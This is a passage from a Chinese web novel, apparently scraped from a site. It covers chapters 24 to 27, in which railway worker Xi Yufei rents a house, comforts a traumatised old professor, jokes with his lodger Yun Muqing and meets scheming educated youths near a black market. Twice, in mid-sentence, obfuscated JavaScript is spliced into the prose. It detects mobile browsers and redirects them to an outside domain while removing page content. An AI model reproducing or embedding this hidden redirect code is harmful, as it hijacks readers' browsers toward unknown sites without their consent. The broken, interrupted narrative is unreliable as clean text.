宋科长哼笑道:“老侯都跟我说了,你这个脑子还挺好使的,一路上抓到不少逃票的盲流,还配合集体抓到了一群惯偷。那边铁路公安都打电话过来了,说是要写表扬信。等表扬信到了,咱们就开大会表彰……” “哎呀哎呀,表彰什么的,让我师父师兄去就成了,对了还有我常叔,刘队长。他们才是车上的主心骨,跟我有什么关系!”席于飞连忙撇清,然后从兜里掏出俩猪蹄子,“我大嫂娘家卤的,给我家送了一些,我拿了几个来讨好您了。” 宋科长被讨好两个字逗笑了,“这是无事不登三宝殿啊,有事求我?” 席于飞无语,“咱爷俩那用得到求这个字啊?多见外不是?再说了,这就是我的单位,我的家,什么叫无事不登三宝殿,宋叔您这是埋汰我呢?” 宋科长每次都被席于飞逗得不行,他道:“好好好,你这张嘴真的 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“人太多了,我难受。”席于飞哼哼唧唧,“我才不要跟别人住在一起呢,平时出去也就罢了,都回家了还要挤着住,多难受啊。” “你可别跟别人说这话!”宋科长抬手点了点席于飞,“多少人一大家子挤一两间屋住呢,你这么说不是讨人嫌吗?” “宋叔又不是别人!”席于飞笑嘻嘻道:“我租房子的事也不会随便到处说,就回来晚或者走得早的时候过去住一下。” 宋科长刷刷的写好介绍信,又盖了章,“成了,你拿去吧。以后有事过来,别总送东西,我缺你这口吃的?” “要不是这猪蹄子好吃,我才不给您送呢,就是让您尝尝鲜,以后想吃,还没的吃了呢!”席于飞仔细的看了介绍信,然后把信纸一叠揣进兜里,又凑过去,“宋叔,附近房子有推荐不?最好是独门独院的小房子,大杂院太闹挺了。” “你事儿怎么这么多?”宋科长都无奈了,不过他还是想了一下,“你要清净的也有,其实离这里进的地方空院子空房子挺多的,但你可别为了清净就租个离人远的地方,到时候有贼进你院子你都挡不住。” “我爹会帮我找呢,这不是先问问宋叔有没有推荐嘛。”席于飞又不是傻子,他租房子可不是为了找死的。 好房子周围既要有人,又要有隐私性,这样的房子才适合。 等他把房子租了,让他几个哥哥在院墙上抹一圈水泥,沾一圈碎玻璃,就不怕有人翻墙进去了。 宋科长还真知道个不错的地方,那一片房子离军区大院比较近,经常有当兵的进进出出,相当安全。 而且那些房子很多都是无主的,其中有一些被某些单位征用当单位宿舍了,但更多的房子都空着。 尤其是现在已经有人开始平反回来了,房管局那边要安排部分大杂院的住户清退之类,还找出来不少偷摸砸锁进去住的盲流,所以那边治安十分好。 “那成,我让我爹过去帮我看看。”席于飞说完抬起屁股就往外走。 “回来!”宋科长指了指椅子,“放回原位再走,你真当我这里是你家炕头呢?” 席于飞笑嘻嘻的又转了回来,把椅子拖回去,“那不能,我在家我侄子弟弟都帮我搬椅子的,不用我动手。” “滚吧,你个混小子!”宋科长真的是要被这家伙气死了。 等席于飞租好了房子,又到了跟车的时候。 也不知道未来云总在小楼里,住的怎么样了。 24.怀疑自己 从沪市下了车,席于飞饭都没吃,拎着自己的提包就去了小楼。 毕竟大家都是有秘密的人,也不会那么不识相的把人拦下来询问。 小楼的院门竟然是半开的,席于飞好奇的走过去,透过门缝发现院子里的地都被平整了,左右两边的泥土地各被砌出来两条回字形的小路。 碎砖路自然的圈出来一块地,里面支棱着几根竹竿搭的架子,架子下面竟然是几棵不知道什么的绿色小苗。 院子里没看见云穆清,席于飞直接推门进去,就听耳边突然有人道:“诶,你回来了?” !!! 席于飞按住胸口,他真的被吓了一大跳! 怪不得没看见人呢,原来云穆清坐在墙根底下乘凉,正好是院门的死角! “云穆清!你真的是要吓死我!”席于飞用力收回差点儿自由活动的魂儿,拎着包往屋里走,“大下午的你热不热啊,怎么还想起在院子里弄这个了?之前那个破花坛呢?你种菜没人管?” 沪市的天气是真的热,席于飞恨不得赶紧进屋,把身上的衣服都扒下来。 云穆清默默地跟在他身后,等合上身后的屋门,这才不解的问到:“你怎么知道我叫云穆清?” 席于飞:!!! “你告诉我的啊,不然我上哪里知道去!干嘛这眼神看我,一个破名字罢了,我还能吃了你?” 这招叫先声制人,只要你觉得自己声音足够大,理气足够壮,管他真的假的,那就都是真的了。 云穆清明显有些怀疑自己。 他在这几天想了好多次,自己住在别人的小楼里,吃了好几顿饭,竟然连恩人的名字都不知道,这实在太不应该了。 等恩人来了,他得好好的自我介绍一番,至少要让恩人看到一些自己的优点,不要觉得救回来的是个蠢货。 “我……”他使劲想了想,也不知道到底什么时候把名字告诉恩人的,“啊,我都记不清了,抱歉。那我还不知道你的名字呢。” “我姓席,叫席于飞。”席于飞把脱下来的外套顺手挂在衣架上,左右看了看,“烧热水了吗?我想洗个澡。” “……我这就去烧。”云穆清原本还想表达一下自己对恩人这个名字的欣赏与喜欢,毕竟恩人叫于飞,这个名字一听就是有故事的,充满了长辈对小辈的喜爱与寄托。 但恩人不按理出牌。 烧了一大锅热水,虽然不如淋浴洗的舒服,但大老爷们也不在乎那么多。 席于飞把换下来的脏衣服往盆里一扔,打算泡一会儿自己洗出来,但又觉得太累太困了,“那什么,云穆清啊,我先去睡一觉,有什么事等我睡醒了再说。” “要吃饭吗?”云穆清连忙问,“我估摸着你今天会回来,炉子上还温着粥。前几天张阿姨给了我一捆萝卜缨子,我给腌成咸菜了,正好就粥吃。” 席于飞摸了摸肚子,“那就吃一碗。” 粥是白米粥,大米煮的晶莹而粘稠,散发着诱人的米香。 萝卜缨子的嫩心儿被盐渍了,清脆可口。 席于飞呼噜噜的吃了一碗,心满意足,看向云穆清的眼神都变了。 这小伙纸,真不错啊。 上得厅堂下得厨房,只可惜身世太凄惨,到老都是个单身狗。 席于飞突然想到自己到死也是个单身狗,但自己嘎的时候这位云总还没嘎呢,备不住就能来个老年夕阳红。 他瞬间不嘻嘻了。 “成了,我睏的不行,先去睡了,你一会儿动静小点儿。” 云穆清点了点头,看着席于飞溜达进一楼另外一间卧室,深深的叹了口气。 这个恩人,内心世界真的丰富啊。尤其是看自己的眼神儿,一会儿一变,一会儿一变,也不知道脑袋瓜子里都装了什么奇怪的东西。 只是他原本准备好的正式自我介绍压根没有派上用场,云穆清略有些失落,收拾完碗筷,锁上院门,干脆自己也洗了个澡,进屋睡觉去了。 只有睡觉,动静才最小。 席于飞在柔软的大床上醒过来,舒舒服服的伸了个懒腰。他透过窗户看向外面的天色,已经有些暗了,这一觉起码睡了四五个小时。 都说上车饺子下车面,不过自己下车喝的粥。 一碗粥半碗水,醒来之后去了趟厕所,肚子里就空落落的了。 云穆清房间的门敞开着,里面没有人。不过院门口有说话的声音,席于飞探头出去看,看见云穆清跟张阿姨家儿子站在门里,正在说着什么。 张阿姨家儿子手里还拎着个篮子,正往云穆清手里放。 “我哥啊!”席于飞直接出门打了个招呼,“哥咋来了?” 张阿姨家儿子被席于飞的自来熟吓了一跳,他抬手推了推脸上的眼镜,腼腆笑道:“姆妈间了点儿菜苗,正好拿来让你们院子里种点儿。” “啊,我刚才还纳闷呢,这时候能在院子里种菜?”席于飞十分好奇。 农村各人能种菜是放卫星饿死人之后,公社允许农民自己家弄自留地。但城里人极少敢种菜,一个不小心就会被人扣上什么薅社会主义羊毛的大帽子。 别说菜了,花都不让种,说种花是走资本主义路线。 也特么不知道,花怎么就跟资本主义挂钩了。 偶尔院墙上绕上一两棵喇叭花,都会被人直接薅掉,不敢留下来。 “以前不能,现在能的呀。”张阿姨儿子说的是沪市普通话,温温柔柔的,“吾叫张明远,还不知道你们兄弟两个叫什么呢。” “我叫席于飞,我兄弟叫云穆清。”席于飞笑嘻嘻的接过篮子看里面的菜苗,不过手指长,嫩绿嫩绿的,“都是什么苗?” “鸡毛菜,小白菜和油菜。其实还有南瓜之类的,但现在过季了。但咱们沪市温度高,种上丝瓜到也能吃上一个月。” 张明远羡慕的看着这个院子,“可惜我家没有大院子,就只能种些小菜。” “嗨呀,等下个月我哥俩得去别的地方跟车了,到时候这院子还得让我姨跟哥照顾呢。若是春天我们还没调到沪市组,还得让你们 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“哎,这是你家亲戚的呀?”张姨住的也是大杂院,这种大杂院一点儿秘密都没有,你放个屁别人都能跟着听响。 “吾外甥的呀。”张姨笑嘻嘻的道:“之前跟侬说过吾京城有亲戚的呀,哎,现在人来啦,让侬看看,多精神!” 席于飞被全方位展示了一下,然后挎着张姨的胳膊进了屋。而张姨的亲儿子张明远尴尬的站在一旁,内心对这个不知道从什么地方表来的弟弟佩服的五体投地。 “这是我从京城带来的酒跟一些吃的,”席于飞把背包里的东西掏出来往桌子上摆,“张姨,我想去见见那个老教授,就是卖我房子的那个……于教授。” 自己得了对方一套便宜房子,心里怎么想都觉得不好意思。寻思好歹去看一眼,如果可以,也当亲戚处更好。 张阿姨原本是想要拒绝这满满一桌子东西的,结果被席于飞这么问,直接被转移了注意力,“老于的呀?哎哟……伊平日里也不愿意见人的。不过侬脾气好,或许能好好劝劝伊。” 席于飞点点头,道:“我上次看于教授感觉他状态不好,等回去总翻来覆去的不踏实,跟我爹一说,我爹让我多关心关心老教授。” 熟练的锅一甩,甩到千里之外他爹席文明身上了。 张阿姨叹了口气,“那个于教授,哎……侬姨夫也去劝过,伊们是被吓坏了。那什么,吾这就带侬去。” “那于教授那边缺什么,我回去准备准备?”席于飞问。 “什么也不缺的呀,老于之前的单位还经常去看伊,街道也经常送东西过去。但老于一家子,太惨了,也太苦了,被吓坏了。”张阿姨一边说一边叹气,“好好的一家子人,死的死,残的残。如今留下老的小的,谁受得了哦。” 她前两天还看见老于去领粮食,整个人精气神都不怎么好,好像又瘦了一圈。 那衣服挂在身上晃晃荡荡的,仿佛被竹竿子挑着。 真的是,谁看了心里不难受啊。 25.心酸 于教授什么都不缺,但他真的不能就这么空着手过去。 “我爹知道于教授把房子卖给我,价格还挺合适,让我一定要去感谢一下于教授。不管他缺不缺东西,我也不能就这么应付。姨,我回去收拾一下,一会儿过来找您,成不?” 他这次过来,背包里就装了给张阿姨的东西,反正离得也不远,多跑一趟也没什么。 “哎呀,不用那么麻烦。”张阿姨摆摆手道:“吾跟侬一起,让侬兄弟带电筒跟着过去。” 张阿姨是个爽利且有些老派的沪市阿姨,她转身跟老伴儿叽里呱啦说了一大串方言,然后张明远就去找手电筒了。 张叔系着围裙出来,“烧了热水了,要不要先收拾一下?” “不用了不用了,姨夫您忙着,我很快就把我姨送回来!”席于飞挽着张姨的胳膊,“我们先去忙啦。” 张叔:…… 怪不得这小子得了自己老伴儿的眼,这风风火火的性子,简直一模一样。 在看自己大儿子,哎,随了自己了。 现在天色还不算晚,三个人先去了席于飞的小楼。大门插着,他敲了敲门,里面传出云穆清的声音,“谁呀?” “我,张姨也在!” “等,等一下!”院子里传来噼里啪啦慌乱跑步的声音,片刻后云穆清顶着一头湿漉漉的头发过来开门,身上穿的大背心也是湿的。 “怎么了这是?掉河里了?”席于飞扫了眼对方被湿透了的衣服勾勒出来的肌肉线条,心里又开始涌出淡淡的嫉妒。 这就是炫耀,绝对是炫耀! 云穆清拿着毛巾捂住胸口,脸都涨红了,“抱歉,我,我洗了澡,把衣服也都洗了……你们快进来。” 张姨大大方方的盯着云穆清看,“噢哟,身材好好的哟。” 也得亏是云穆清皮肤黑,加上现在天光比较暗,否则是个人都能看出来他充血的脸蛋子有多烧了。 席于飞哈哈大笑道:“好了好了,你赶紧回屋去吧。姨,明远哥,你们在客厅等我一下,我去拿东西。” 云穆清狼狈的跑回自己的屋子,衣服湿漉漉的贴在身上及其难受。 他忙了一下午,以为席于飞不会那么快回来,就算回来也是男人,没必要遮遮掩掩。谁知道还有个女同志,这位女同志胆子还这么大,真的是让他吓一跳。 席于飞从糕点店用铁质的盒子装了一盒子点心,这种盒子上面没有生产日期,专门当礼盒用的,十分拿得出手。 想了想,又去茶叶店拿了两块普洱茶饼,知道于教授家还有个小男孩,又去拿了两只烧鸡和一只普通钢笔。 普通钢笔没有什么款式,还能应付过去。那些品牌钢笔都带编码钢印,或者是分拆式墨囊的,目前这个时代还没有那种款式。 等他们来到于教授家,天色已经暗下来了。 于教授住的很偏僻,张阿姨说了,上面还给于教授的房子不少,有一些大院子都被租出去了,不太方便清退,不过房租都转给了于教授,这几年的房租也都补偿了进去。 但于教授受不了人太多的地方,也不敢住在大院子里,就找了个稍微偏僻点的独门独院,和自己的儿子孙子住着。 张阿姨上前去敲门,“老于,于大哥,吾呀!” 老派的沪市人自称我的时候有两种说法,一个是吾,一个是阿拉。据说是跟曾经地域划分有关系。 但席于飞闹不清楚,反正张阿姨习惯性说吾,其他人也有说吾的,也有说阿拉的。 等了一会儿,紧闭的大门才缓缓地拉开,“哦,是你啊,请进。” 于教授似乎比上次见到的时候更瘦了,他眯着眼看着张阿姨身后的席于飞,“你是那个买房子的小伙子啊?” 席于飞笑呵呵道:“是的,于大爷,就是我!” 他发现于教授说的是普通话,而且口音很正。 于教授侧过身,让他们进了院子,“是房子出问题了吗?”他问,声音甚至带着一丝小心翼翼。 席于飞连忙道:“没有没有,就是我爹知道我从您这里买了一套好房子,让我一定要来感谢您。” 于教授笑了笑,慢慢的往屋里走,“进来坐坐吧。” 席于飞扫了一眼这个院子,这个院子很小,只有三间房,门口搭了个棚子,里面堆了不少蜂窝煤和大煤块。棚子旁边是个简易的厨房,里面有一个砖头砌的灶台,还有个煤炉子,上面正坐着水。 屋子里也没有电灯,不知道是没有拉电线还是别的原因,只能看到煤油灯晃晃悠悠的影子。 房间里有些暗,但收拾的很干净,空气中满是中药的苦香气。 客厅桌子上还摆了饭菜,应该是刚吃完没有收拾。不过从残渣上能看出来这顿饭菜十分简陋,就是棒子面黏粥搭配咸菜。 按说于教授身上钱不少,没有必要吃的这么节省。 “噢哟,于大哥,侬怎么还吃这些东西!”张阿姨也看到了桌子上的残羹,“街道不是送来不少鸡蛋吗?侬要吃的呀。” 于教授笑了笑,“留给孙子吃。”他说着,同样小心翼翼的看了眼张阿姨。 席于飞实在看不下去了,他对张阿姨和张明远道:“我想单独跟于大爷说几句话,成吗?”说着,他看了一下旁边的卧室。 卧室门帘动了动,露出里面一双惶恐的大眼睛。 张阿姨叹了口气,推了她儿子一把,“去,收拾桌子。” “不,不用,我自己……”于教授连忙阻拦。 “大爷,您来,我得跟您叨咕几句。”席于飞拉着于教授的胳膊,那胳膊一入手,细瘦细瘦的仿佛柴火棒,让席于飞心里更加难受了。 “好孩子,好孩子你要说什么啊?”于教授露出忐忑不安的情绪,看上去十分紧绷。 席于飞把于教授拉到卧室窗边,从这里说话别人听不到,但卧室里的人一定能听到,“您这状态不合适啊大爷,这不是让我担心吗?您是不是害怕什么?放心吧,我京城来的,很多消息我都清楚。以后大家都平安了,安全了,不会再有那种事发生了。” 于教授艰难的抽了抽脸颊上的肉,“啊,是吗?” 席于飞深吸一口气,“大爷,您听我的,您去京城吧。带着我大哥我侄子,去京城。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788125|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哥的腿不是受伤了吗?我知道京城有个骨科的老大夫可厉害了。我大哥才多大啊,总不能一直就这样吧?还有我侄子,应该上学了,和同龄人一起玩,而不是……” 他紧紧握着于教授的手,“真的,以后不再有事了,坏人都快被抓起来了,好人也会得到公平公正的待遇。您信我,再过两年,高考都要恢复了。” 过来的路上,张阿姨没少说于教授家里的事,听的席于飞那叫一个难受。 多好的一家子,被折腾的死的死残的残,如今胆子都吓破了,连点儿好吃的都不敢吃。 原本他以为于教授卖房子是打算给儿子治腿,但看现在这个情况,他极有可能是想要藏一些钱,如果在发生极端事件,可以让孙子能够好好活下去。 于教授猛地抬起头,黑暗中他的浑浊的眸子似乎闪出了光,“恢复……高考?” “现在很多曾经的老师教授都会被陆陆续续平反,这就是个信号。咱们国家正在恢复秩序,否则街道上的领导,也不可能总是来看您,对不对?大爷,如果您不适应现在这个情况,真的可以换个环境。您去京城,我家房子多,您就住我家,我爹还是个初中校长呢,跟您绝对有话聊。” 席于飞再次把自己老爹推了出去,他实在不忍心让这样的一家子从此深陷黑暗,不敢再见光明。 “就算您不为自己着想,也得想想我大哥,我侄子。尤其是我侄子,从小到大没过过几天好日子,您忍心吗?”他苦口婆心,“话我说到这里了,您考虑考虑。如果下决心要去京城给我大哥治腿,就给我打电话,打我单位的。” 席于飞说着,从兜里掏出纸笔,留下自己的名字和单位电话,“大爷,您还年轻,您的路也还长着呢。” 于教授嘴唇颤抖,身上不停的哆嗦。他捏着那张留着电话的纸,“我,我真的可以离开这里?” “您就说去京城治病,街道会给您开介绍信。等到了京城您打我电话,或者……哎,我把我家地址也给您留下来!”席于飞哗啦啦又写了一张纸,“总之,换个地方,也换个心情,大爷,我大哥和我侄子,可就指望您了啊。” 席于飞留下东西就告辞要走了,于教授的安静的将他们送走,插上门,又用木杆子抵住大门,这才慢腾腾的回到房间。 “爷爷。”卧室里,一个瘦小的男孩子走出来,“爷爷,那几个人是好人吗?” 于教授看着手里的纸,突然落下泪来,“是好人,是好孩子。红生,你愿意跟爷爷离开这里吗?我们,我们带着你爸爸,去京城。” 他真的有些害怕这个地方了,一想到当初那群穷凶极恶的家伙闯进来连打带砸,还有在西北受的这么多年的苦。尤其是当年打砸的人,就住在附近。 他是真的害怕,平日里门都不敢出,生怕那群人再次进来。 而且,他也不敢给以往的老朋友们写信,不知道老朋友是什么情况,生怕自己一封信连累了他们。 但,那个好孩子给自己留了电话和家里的地址…… 他说,高考要恢复了,坏人要被抓走了。 于教授抿了抿嘴,突然大哭起来。 26.不简单的女知青 席于飞心情沉重的回到家,一抬头就看见院子里晾的那些衣服,不知道为什么心情突然好了。 诶嘿,家里有个田螺小伙儿。 “回来了?”云穆清就穿着个军制大裤衩子,上半身光着,胳膊肌肉扎实,肩宽腰窄。两条大长腿那叫一个长,腿毛迎风飘扬。 席于飞又被炫了一脸,忍不住开始翻白眼儿,“咋的了?显你身材好啊?搁家里参加健美先生呢?” 云穆清忍不住笑出来,“你说话挺有意思的,我记得你京城人吧?怎么说话东北味儿的?” “我家祖籍东北的,我又跟东北下了三年乡,有大碴子味不是挺正常?”席于飞抹了把脸,把坏心情都抹掉。 他能帮于教授的也都帮了,知道于教授怕什么担心什么,所以提供了他一个可以逃避的方法。 如果于教授愿意,也算是给自己攒点儿功德。 “吃饭了吗?”云穆清道:“我今天弄了点肉,还从供销社买了几个老黄瓜,一会儿烙个肉饼吃?” 老黄瓜做馅儿烙饼,算是北方某些地区的一些特色了。 就是老品种旱黄瓜,老了之后又粗又大,能有两斤多三斤一个。削皮去瓤之后切碎,加点儿肉做馅,汁水多,味道很鲜。 “行啊,还弄了肉了。”席于飞笑呵呵的,“对了,之前打你的那几个人,是不是其中脸上有块胎记?” 打算去厨房烙饼的云穆清脚步一顿,表情严肃,“你看见他了?他们还在这里?” “不是不是,你别紧张啊。”席于飞把包往椅背上一挂,外套脱了也搭在椅背上,自己拿了暖瓶到了杯水,“前几天跟车回去我在车上看见这么一波人,瞅着其中一个眼熟,好像是揍你的那一拨。” 云穆清站在那里,脸色阴沉的都快滴出水了,“所以他们确定是京城人?” “听口音还听不出来吗?你家这是得罪了大人物了,那群人……”席于飞摇了摇头道:“你部队上的领导对你还挺好,特地给你选了铁路上的工作。铁路这边别人不好插手进来,又成天东奔西跑的,他们就算想整你也没办法。” 云穆清垂着头,挡住了脸上的表情。 席于飞瞅了他一眼,“成了,别搁着里装林黛玉呢,赶紧烙饼去。还有,你电话打了吗?” 云穆清深吸一口气,努力让自己的表情看上去自然一些,“打了,宋科长说我可以去候车长的车组,等你们返回去的时候我跟着一起回去,顺便销假报道。” 席于飞安慰道:“慢慢来,别着急知道吗?胳膊拧不过大腿,想要把大腿扳倒,前提是你得找辆车直接创,如果不能直接碾压,那就猥琐发育,偷摸强大。” “我怕我家里人他们……他们等不了那么久……”云穆清的声音有些哽咽,心里特别难受。 “想办法呗,咱们下一趟就跑西北,哥帮你想办法啊,别着急。”席于飞觉得,被坑到西北农场的不少人都是大冤屈,他能救一个就救一个。尤其是这种被打压的,那绝对有大本事,救出来不亏。 云穆清被他这声哥给逗笑了,“我比你大吧?” “且,萝卜不大在辈上呢。赶紧做饭去吧,再打个汤。有鸡蛋没?”席于飞心想云总啊云总,上辈子你都不瞅我一眼,这辈子我就要当你哥,我就是这么牛气! “鸡蛋没有……”云穆清十分为难,肉都是他靠身手好抢了那么两斤,鸡蛋就更难得了。 “哦……我带了几个鸡蛋。”席于飞转身回屋,没一会儿拿了饭盒子出来,里面装了十来个鸡蛋,“够吃到返程了。” 云穆清真觉得席于飞那个屋简直就是个神奇的屋,也没看他带回来的包有多大,但这一趟一趟的,真没少往外拿东西。 其实席于飞身上的疑点还挺多的,他放在这里的米面,都比外面卖的还要好。 面粉雪白雪白的,米里面一点儿沙子杂质都没有,完全不用挑拣,洗一遍就能下锅。 不过,这年头,谁身上没有点儿秘密呢? 田螺小伙拿着鸡蛋去厨房做饭了,席于飞在屋里转了一圈,实在找不到事做,也去了厨房。 抱着胳膊靠在门框上看了一会儿,又嫉妒跑了,干脆在院子里溜达。 这几天,院子被收拾的真的很不错。 开了花坛,种了菜,碎砖铺的地面那叫一个平整,还把之前张阿姨铺的地面重新铺了一遍,笔直笔直的,一点儿歪扭都没。 部队出来的都有强迫症! 席于飞转了一圈,又回到自己房间,去整理凌晨到黑市给人的货了。 上次他答应那个庞哥,给他带点儿好货来着。 但东西不能就这么拿过去,这年头搞黑市的人都狠,万一被黑吃黑就麻烦了。 他各挑了一些样品,想了想又卷了一块牛仔布,现在叫劳动布的布头进去,算是给庞哥送的礼。 不得不说,云总做饭的手艺是相当不错,这老黄瓜馅饼烙的皮薄馅大,一咬一口汤汁,黄瓜的清香配上肉的酱香味,吃的人胃口大开。 还有一大盆老黄瓜片鸡蛋汤,也是清香开胃。 席于飞吃了个肚皮滚圆,有热乎乎的饭菜在,自己在车上吃的什么烧鸡香肠那都比不上。 人吃饭还得沾点儿烟火气,否则这顿饭都吃的不顺嘴。 “凌晨的时候我出去一趟,”席于飞摸着肚皮,心满意足的打了个饱嗝,“你在家把门锁好,知道吗?” “又要出去?”云穆清看向席于飞,这人自从来了就不停往外跑,这一趟趟的老忙了。 席于飞笑道:“跟你说一下也成,就是倒腾点儿东西去黑市,赚点儿钱。” 云穆清蹙眉,“那也太危险了,黑市那个地方,尽量少去。” 再全国限购票据前行的时候,黑市算是顺势而出。 农村的想要用鸡蛋蔬菜换钱票,城里的同样也需要票和各种物资。 国家艰难,但挖墙角的也不计其数。 所谓的残次品很多都会流到黑市上来,富裕了某些人的腰包。 这种事从古至今都有,没办法禁止。 也就是到了后世,几乎所有产品不限量供应了,这种事才算杜绝了一些。 为什么说一些呢?毕竟那些代购们仍旧存在,所谓代购,其实跟黑市这些也没有什么太大区别,就是换了个名字而已。 其实沪市的情况已经比其他地方好多了,毕竟这里被画了圈,经济市场提前发展,有点儿小特权。 就连黑市的东西其实都比京城这种中心大城市种类要多,去黑市的人也多。 席于飞还知道,在改开刚开始的时候,其他城市还在摸索中,不敢迈开大步发展呢,但沪市这边已经满地小生意人了。 那时候京城不少倒爷,都是从沪市这边倒腾了东西去京城卖,可见沪市发展的多快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792655|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “撑死胆大的,饿死胆小的。现在到处都是钱开路,不花钱你能办事?”席于飞扫了一眼桌面,“赶紧刷碗去,让你看家就看家!” 看,自己就是这么牛气! 云总怎么了?不照样给自己洗衣服做饭? 云穆清起身收拾碗盘,“那到时候我跟你一起去,你一个人去太危险,万一出点儿事怎么办?” “你可别去,就你这样一看就是个当兵的,还没等进去人家就得吹哨。”席于飞连忙制止。 笑话,他自己去还能偷摸的弄点儿东西,跟着这么个人,借口都不好找。 而且大家去黑市不管买卖,双方都缩头遮脸的。就这位腰杆子笔直的大高个往里面一走,就算遮上脸也十分的异类。 “那我在外面等你。”云穆清也不争执,他烧了水稀里哗啦的洗碗,“万一遇到什么危险,我还能拽你一把。你一个人去我确实不放心。” “之前没有你我也一个人去了!”席于飞梗着脖子嚷嚷。 “之前是之前,现在我不能眼睁睁的看着你去,万一出了事我怎么办?”云穆清顶嘴。 其实他的意思很简单,我住着你的房子吃着你的饭,结果还让房东去做危险的事自己不管不顾的,良心难受。 但席于飞听了,忍不住啧了声,“你这话说的,你是我媳妇儿啊我还得想着你怎么办?” 云穆清:…… 也不知道这个瘦小子脑袋里装的都是什么。 要么说话一套一套的,要么就一点儿正经都没有。 “那你到时候离远点儿,别招惹的人家吹了哨,我这不就白瞎了?”席于飞伸了个懒腰,“哎呀,在这里洗澡就是麻烦,连个淋浴都没有。” “我给你烧热水,回头看看谁家能打浴桶,打个浴桶就方便了。”云穆清三下五除二把碗筷洗干净,又去铲了煤进厨房烧大锅水。 “用不着这么麻烦,铁路招待所那边有锅炉房,能洗澡。”席于飞想了想,又道:“不过打个浴桶也挺好的,沪市这条线又不是以后不跑了,放在这里早晚用得上。” 其实等一圈轮换下来,他们跑沪市得明年或者后年了。 但有备无患嘛。 凌晨的时候,天上挂了个毛月亮。 周围都黑乎乎的,大路上好歹还有路灯,小路上那就真的是伸手不见五指。 来黑市的人都摸黑走路,黑市里面倒是有点儿光亮,挂了几个气死风灯。 还没走进那个小巷,迎面就来了几个人。 借着路灯的微光一看,席于飞忍不住啧了声。 没想到,又遇到那几个知青了。 叫柳眉的那个姑娘背着个大竹筐,里面不知道放了什么东西,就闷头往前走。快走到俩人身边的时候,突然左脚拌右脚,身子不由自主的往云穆清身上倒。 席于飞眼疾手快,直接拽着云穆清往后退了好几步。 然后就看见那个女知青哎哟的叫着,前后摇摆了好几次,竟然站稳了!就连后面赶过来的同伴,都没她站稳的快! “不好意思啊,刚才没撞到你吧?”柳眉一抬头,目光精准的对上了云穆清。 嘶…… 席于飞心说,这到底是什么孽缘啊? 他是真没听说过这个云总结过婚或者有什么感情之路啊,咋就一次两次的…… 这个女知青,不简单。 27.接头 “柳眉,柳眉你没事吧?”后面跟着的几个知青连忙上来把柳眉扶住,一名眉清目秀戴眼镜的知青温声细语道:“是不是东西太沉了?换我背吧。” 另一名男知青哼了声,他看向席于飞和云穆清,“女同志站不稳都要摔倒了,你们两个男同志可好,竟然往后躲!” “哎嘿,”席于飞一听不乐意了,“你这个男同志怎么回事?提溜个粉面子脑袋,脑浆子都勾芡了吧?这黑灯瞎火的突然窜出来个人往我们身边靠,好家伙还不能躲了?万一被讹上了咋整?再说了,男同志跟女同志要保持距离,否则就是耍流氓懂不懂?” “你,粗俗!”那个男知青气的不行。 “好啦,阿影,你们不要为了我吵架啦。”柳眉的目光仍旧没有离开云穆清,“真是不好意思,也不知道刚才有没有伤到你,不如你留下个地址,我可以过去看望你,好吗?” 这下不光席于飞皱眉,剩下几个知青也开始皱眉。 “柳眉,他们躲可远了,你压根没有碰到他们。”那个勾芡脑子叫阿影的男知青瞪着席于飞,“还想让女同志去看望你们?到底是谁耍流氓?” 席于飞都快气笑了,他道:“不是,我说……你耳朵不好使就去医院看看成不?咋?选择性耳聋?谁特么让她看望了?啊?这半天我们跟她说过一个字儿没?” 柳眉跺了跺脚,带上了哭腔,“好了啦,你们不要为了我吵架,不要吵架了啦!” “柳眉……”戴眼镜的男知青脸上带着心疼的模样,“都是我不好,我应该让你背这个包而不是这个筐,换我来背吧。” “女同志都这样了,你们竟然不闻不问?还算是个男人吗?” “柳眉,我帮你背筐。” “呜呜呜,不要吵架嘛,有话好好说……” 席于飞:…… 云穆清:…… 剩下的那名男知青:…… “走了走了,出门前我娘跟我反复说,让我别跟傻子说话来着。”席于飞实在受不了这种奇葩的言情剧情节,拽着云穆清胳膊就往旁边绕。 叫阿影的梗着脖子怒道:“你说谁是傻子呢?你……” “够了没有?”一直没说话的男知青深吸一口气,“不是,你们怎么一出门就跟没带脑子似的?人家压根没有让柳眉去看望,阿影你快别穷追不舍了。还有王金忠同志,你的这个包比柳眉那个筐沉多了,确定要换?” 柳眉的筐虽然大,但里面就放了两只野兔和一些野菜之类的东西,而且也只有半筐,能沉到哪里去? 更别说柳眉刚才一直直勾勾盯着人家那个高个子男同志看,人家都没搭理她,一个字没吭。 在知青点的时候,柳眉可从来都不会这样啊,都说她清高又高冷,像个仙女呢。 不光大队的年轻小伙儿们喜欢柳眉,就连知青点不少男知青也喜欢柳眉。 每次进城卖东西,除了柳眉的固定名额,其他几个恨不得都得用抢的。要不是这次野鸡跟兔子都是自己打的,怕是自己也没办法跟来。 算是小刀拉屁股,开了眼了。 “老高,你也听到了,那个男的说话多难听!”阿影愤愤道:“还说我们是傻子,柳眉都这么轻声细语跟他道歉了,他一个字都没说,真以为自己是什么东西了!” 老高深吸一口气,“还去不去黑市了?啊?你们再大点声呗,把巡逻的都招来?” 